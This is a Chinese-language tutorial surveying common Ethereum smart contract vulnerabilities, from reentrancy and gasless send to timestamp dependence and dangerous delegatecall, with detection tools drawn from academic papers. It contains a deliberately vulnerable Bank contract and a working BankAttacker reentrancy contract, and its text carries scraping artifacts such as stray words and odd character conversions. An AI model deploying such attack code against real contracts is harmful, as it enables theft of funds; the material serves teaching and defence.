智能合约的常见漏洞

目录:html

参考文献:
[1]: [Principles of Security and Trust'17][A Survey of Attacks on Ethereum Smart Contracts (SoK)](https://eprint.iacr.org/2016/1007.pdf )
[2]: [CCS'16][Making Smart Contracts Smarter](https://eprint.iacr.org/2016/633.pdf )
[3]: [ASE'18][ContractFuzzer: Fuzzing Smart Contracts for Vulnerability Detection](http://jiangbo.buaa.edu.cn/ContractFuzzerASE18.pdf )git

1. 重入(Reentrancy) [1, 2, 3]

  • 基本概念
    • 智能合约中的 fallback (回退)函数
      一个智能合约中,能够有一个没有函数名,没有参数也没有返回值的函数,也就是 fallback 函数。一个没有定义 fallback 函数的合约,若是接收ether,会触发异常,并返还ether(solidity v0.4.0开始)。因此合约要接收ether,必须实现回退函数。在三种状况下,这个函数会被触发:
      • 若是调用这个合约时,没有匹配上任何一个函数。那么,就会调用默认的 fallback 函数。
      • 当合约收到ether时(没有任何其它数据),这个函数也会被执行。
        注意,执行 fallback 函数会消耗gas。
  • 场景/例子
    例子引自: (https://medium.com/@MyPaoG/explaining-the-dao-exploit-for-beginners-in-solidity-80ee84f0d470)
/* 此合约用于1)记录用户余额,2)能够取款,3)能够存款。有reentrancy漏洞。*/

contract Bank{

/* 地址(惟一)和余额的映射 */
   mapping(address=>uint) userBalances;

/* 返回用户余额 */
   function getUserBalance(address user) constant returns(uint) {
     return userBalances[user];
   }

/* 给指定的用户增长余额 */
   function addToBalance() {
     userBalances[msg.sender] = userBalances[msg.sender] + msg.value;
   }

/* 用户取款(这里假设取余额中所有的钱) */
   function withdrawBalance() {
     uint amountToWithdraw = userBalances[msg.sender];
     /* 把钱转给用户。若是交易失败,则throw。 */
     if (msg.sender.call.value(amountToWithdraw)() == false) {
         throw;
     }
     /* 若是交易成功,把用户的余额设置为0。 */
     userBalances[msg.sender] = 0;
   }
}

/* 这是一个攻击具备reentrancy漏洞的智能合约(Bank)的智能合约(BankAttacker)。在这个例子里,它实现了两次攻击。 */
contract BankAttacker{

   bool is_attack;
   address bankAddress;

/* 输入:1)_bankAddress:要攻击的智能合约(Bank)的地址,2)_is_attack:开启或关闭攻击。*/
   function  BankAttacker(address _bankAddress, bool _is_attack){
       bankAddress=_bankAddress;
       is_attack=_is_attack;
   }

/* 这是一个fallback函数,用于调用withdrawnBalance函数(当开始攻击时,即is_attack为true) 。这个函数会被触发是由于有reentrancy漏洞的智能合约(Bank)中的withdrawBalance函数被执行。为了不无限递归调用fallbacks,有必要设置有限的次数,例如这里设置2次。由于每次调用是须要gas的,若是gas用完了,攻击就失败了。 */
   function() {
       if(is_attack==true)
       {
           is_attack=false;
           if(bankAddress.call(bytes4(sha3("withdrawBalance()")))) {
               throw;
           }
       }
   }

/* 存款函数。主要功能是给智能合约Bank发送75wei,而且调用addToBalance。 */
   function  deposit(){
        if(bankAddress.call.value(2).gas(20764)(bytes4(sha3("addToBalance()")))
        ==false) {
               throw;
           }
   }

/* 这个函数会触发Bank中的withdrawBalance函数。*/
   function  withdraw(){
        if(bankAddress.call(bytes4(sha3("withdrawBalance()")))==false ) {
               throw;
           }

   }
}

攻击者利用BankAttack(vulnerable contract)与Bank进行交互,主要过程:github

  1. 攻击者首先经过调用BankAttack中的 deposit 函数发送75wei到Bank,从而调用Bank中的 addToBalance 函数。
  2. 【第一次取款】攻击者经过调用BankAttack中 withdraw 进行取款(取75wei)。同时,触发了Bank中的 withdrawBalance
  3. Bank中的 withdrawBalance 发送75wei给BankAttack,从而触发了BankAttack的 fallback 函数,最后更新 userBalances 变量。
  4. 【第二次取款】BankAttack的fallback函数再次调用Bank中的 withdrawBalance 函数,至关于再次取款。注意,这个时候,至关于递归调用,所以第一次取款还未结束,所以,Bank中的变量 userBalances 的值尚未更新。因此,调用第二次取款时,Bank误觉得BankAttack还存有75wei。所以,成功地再次执行了取款的操做。
    如下是流程图:
    Reentrancy Attack Process
  • 检测方法
    • 工具一: Oyente [2]
      主要思想: 利用条件路径。在每次执行CALL函数以前,先利用符号执行获取整个函数的条件路径。而后检查路径[unclear]
    • 工具二: ContractFuzzer [3]
      主要思想: 以下图所示,建立一个AttackerAgent去与目标contract交互。
      reentrancy-contractfuzzer
  • 修复方法
  • QA
    • 循环调用何时中止?
      当1) 执行最终out-of-gas, 2)达到了stack limit, 3)当攻击者全部的ether都被用完了。
    • 中止后整个程序产生了什么影响?
      最终,最后一个调用会失败(不影响区块链状态),所以有且仅有一个异常被抛出。以前的全部调用都被认为是合法的,所以,都成功执行完毕。
  • 其余
    • 相关漏洞:TheDao hack

2. Call to the unknown [1]

  • 基本概念
    每一个智能合约的函数经过函数名和参数类型来保证惟一性(Signature)。因此,原本一个合约时想执行某函数,因为代码写错了,没有匹配到其余的函数,因此就默认调用 fallback 函数。安全

  • 检测方法
    检测参数类型和函数名与调用函数是否一致。网络

3. Gasless send [1, 3]

  • 基本概念
  1. 发送ether: send() 函数
    当使用send(至关于一个特殊的call())发送以太币到一个合约时,有可能会发生out-of-gas异常。当签名不匹配任何的函数时,将会触发回退函数。因为send()函数指定了一个空函数签名,因此当fallback函数存在时,它老是会调用它。但和通常的函数不一样的是,执行send()所消耗的gas默认上线被限定在2,300(若是特别指定上限的话,能够大于2,300)。
  • 场景/例子
    • 例1
      gasless example
      合约C给合约D1和D2发送ether。会有如下三种可能的状况:
      1. n≠0, d=D1。 C发送失败,并抛出out-of-gas异常。由于2,300不足以执行D1的 fallback() 函数,即count++;
      2. n≠0, d=D2。C发送成功。
      3. n=0, d=D1/D2。对于编译器版本<0.4.0,两个都会失败,D1是由于2,300不足以执行 fallback,D2是由于 fallback 为空。对于编译器版本≥0.4.0,D1失败,D2成功,缘由同1和2。
        总之,send 成功的两种可能:1)发送ether给一个合约,而这个合约的 fallback 花费小于可花费的gas。2)发送ether给一个用户。
    • 例2:King of the Ether Throne game
      还有一个例子就是叫“King of the Ether Throne”的游戏。这个游戏的玩法大体就是发送ether到一个叫KotET的智能合约中(以下图所示)。想成为king的玩家必需要支付一些ether给当前的king,加上少许的fee给KotET这个智能合约。
      king1
      假设有一个玩家想要成为king,那么他就会想KotET发送必定量(msg.value)的ether。而后就会调用KotETfallback 函数。fallback 函数会首先checkmsg.value是否大于以前的king设定的报价(LINE14)。若是小于,则说明竞价失败,则throw。反之,就会取得王座,成为新的king。
      这个contract看似没问题,实际上会有gasless send bug。当LINE17执行失败的时候(gas不够执行 fallback()),那么王座会被这个contract所持有。
      King2
      那么,如今假设,重写合约(如上图LINE6所示),用call替换send,而后去check它的返回值,如falsethrow。虽然这个版本看似比以前的版本要好,可是,这个合约仍是有bug:假设如今有一个叫Mallory的attacker,它的 fallback 函数里面就是一个throw。它发送足够的ether给KotET,而后成为的新的king。这个时候,就再也没有人能够取代它的王位,由于每次给Mallory发送ether的时候,都必需要调用Malloryfallback 函数。所以,KotET的LINE6的条件会一直为true。所以,程序不会再执行下去。
  • 参考

4. Exception disorder/Mishandled Exceptions [1, 2, 3]

  • 基本概念
  1. 智能合约的相互调用(call,delegatecall,callcode)
    在函数调用的过程当中, Solidity 中的内置变量 msg 会随着调用的发起而改变,msg 保存了调用方的信息包括:调用发起的地址,交易金额,被调用函数字符序列等。
    三种调用方式的异同点
    • call: 最经常使用的调用方式,调用后内置变量 msg 的值会修改为调用者,执行环境为被调用者的运行环境(合约的 storage)。
    • delegatecall: 调用后内置变量 msg 的值不会修改为调用者,但执行环境为调用者的运行环境。
    • callcode: 调用后内置变量 msg 的值会修改为调用者,但执行环境为调用者的运行环境。
  2. solidity的异常处理
    三种抛异常的场景:
    • 执行到out-of-gas
    • call 栈溢出
    • 执行到throw语句
      若是在执行被调用的合约时有异常抛出,那么,被调用的合约会终止执行而且revert状态,并返回false。可是,当一个合约以不一样的方式调用另一个合约时,solidity没有一个一致的方法去处理异常。调用的合约可能没法获取被调用的合约中的异常信息。以下图所示,
      ExceptionDisorder
    • 状况一:Bob直接调用Aliceping
      ==>throws an exception==>执行结束==>transaction revert。因此,Bobx仍是为0。
    • 状况二:Bob经过call调用Aliceping
      ==>call返回false==>执行继续。因此,Bobx为0。
      更通常的状况,假设有一串函数调用链(如,a()调用b(),b()调用c(),...),直到异常抛出。那么,异常处理以下:
    • 状况一: 全部函数调用都是直接调用,直到程序中止,全部的side effect都revert。全部由最初调用函数的用户提供的的gas都被消耗完。
    • 状况二: 调用链中至少有一个函数调用是经过call来实现的。那么,异常会进行传递(相似于溯源),被调用的合约的side effect都会revert。全部由最初调用函数的用户提供的的gas也都被消耗完。
      可见,处理异常的方式的不一致性会影响到合约的安全性。好比,若是仅仅根据没有异常抛出就认为转帐是成功的,这是不安全的。有研究代表,~28%的合约没有去检查call/send调用。

5. Type casts [1]

  • 基本概念
    solidity是强类型语言,因此会有类型检查,如变量赋值时,如把字符串赋值给整型变量。可是,有些状况即便类型不匹配,也不会进行类型检查,所以会致使此bug。app

  • 场景/例子
    以下图所示,solidity编译器不会检查如下类型是否匹配:
    1. c是不是一个有效地址;
    2. Alice里是否真的有ping
      typecase-example
      因此,有时候,开发者觉得编译器作了类型检查,但其实并无。因此,在执行时,会出现如下状况:
    3. c不是一个地址,因此直接return。
    4. 正确调用,代码正确执行。
    5. c是一个正确的地址,可是,没有匹配任何Alice中的函数,因此调用alicefallback 函数。
      以上三种状况中任意一种发生,都不会抛出异常。因此,开发者不会察觉。

6. Keeping secrets [1]

  • 基本概念
    许多应用都须要暂时合约的字段保密,即暂时不可见。好比,两个玩家对战,那么,下一步可能须要暂时对对手不可见。可是,尽管solidity能够申明某些变量为private,可是,这并没有法保证它是真的不可见的。这个时候,可能就须要一些加密技术去解决这个问题。

7. Ether lost in transfer [1]

  • 基本概念
    给一个地址发送ether,这个地址符合地址规范,可是是一个彻底独立的空地址。因此,会致使ether丢失。

8. Unpredictable state [1, 2]

  • 定义
    在[2]中,它也被称做"Transaction-Ordering Dependence(TOD)"。一个block包含一个transaction的集合,同属于一个block的transaction的执行顺序是不肯定的(只有矿工能够肯定)。所以,也就致使了block的状态是不肯定的。假设block处于状态\(σ\),其中包含了两个transaction \(T_1\)\(T_2\)\(T_1\)\(T_2\)又同时调用了同一个合约。那么,在这个时候,用户是没法知道这个合约的状态的,由于这取决于\(T_1\)\(T_2\)的实际执行顺序。less

  • 场景
    unpredictable-state-example
    • 场景一: Benign Scenario
      假设\(T_o\)\(T_u\)差很少时间发送信息到Puzzle。其中,\(T_o\)是来自合约的全部者,他想更新提出方案的奖励值。\(T_o\)是来自提出解决方案的用户,他想经过方案获得奖励。那么,在这个时候,\(T_o\)\(T_u\)的执行顺序会影响到提出方案的用户最终能得到多少奖励。
    • 场景二: Malicious Scenario
      注意,从\(T_u\)被广播到\(T_u\)被记录在block之间,有12s的时间间隔。也就是说,Puzzle合约的全部者能够一直保持监听网络,看是否有人提到解决方案到Puzzle。一旦有,他就发送一个transaction去更新奖励(好比设为一个很小的数)。在这种状况下,合约的全部者就颇有可能(注意,并不是必定)经过很小的花费就获得了解决方案。

9. Generating randomness [1]

  • 基本概念
    有的开发者可能会利用下一个block的hash值或时间戳做为生成随机数的种子,可是在就像下面10. Timestasmp dependency中提到的,timestamp在必定程度上是能够"受控"于矿工。因此,这会致使这个bug。

10. Timestasmp dependency [1, 2, 3]

  • 基本概念
    不少合约的执行逻辑是和当前block的时间戳有关的。而一个block的时间戳是由矿工(挖矿时的系统)决定的,而且容许有。可是,这里时间能够容许有900秒的偏移(The miner could cheat in the timestamp by a tolerance of 900 secondsdom

  • 场景/例子
    timestamp-example
    第五行到第七行依赖于当前block的时间戳。所以,矿工能够事先计算出对本身有利的时间戳,而且在挖矿时将时间设置成对本身有利的时间。ide

  • 检测方法
    • 工具一: Oyente [2]
      获取执行路径,判断路径中是否依赖时间戳。
    • 工具二: ContractFuzzer [3]
      是否同时知足两个条件: 1)依赖于时间戳,2)是否有转帐。

11. Dangerous `DelegateCall` [3]

  • 基本概念
    Exception disorder中提到了3种智能合约相互调用的方法。
    QA
  • 场景/例子
    delegate-example
    Wallet合约中,LINE6调用delegatecall而且传参msg.data。这使得attacker能够调用walletLibrary中的任意一个public function。所以,attacker能够调用LINE10的initWallet,以此成为Wallet这个合约的拥有者。而后他就能够从wallet发送ether到他本身的地址。函数

  • 参考

12. Freezing ether [3]

  • 基本概念
    有些合约用于接受ether,并转帐给其余地址。可是,这些合约自己并无本身实现一个转帐函数,而是经过delegatecall去调用一些其余合约中的转帐函数去实现转帐的功能。万一这些提供转帐功能的合约执行suicideself-destruct操做的话,那么,经过delegatecall调用转帐功能的合约就有可能发生ether被冻结的状况。

  • 检测方法
    • 工具一: ContractFuzzer [3] 若是balance大于0且没有转帐功能。
相关文章
相关标签/搜索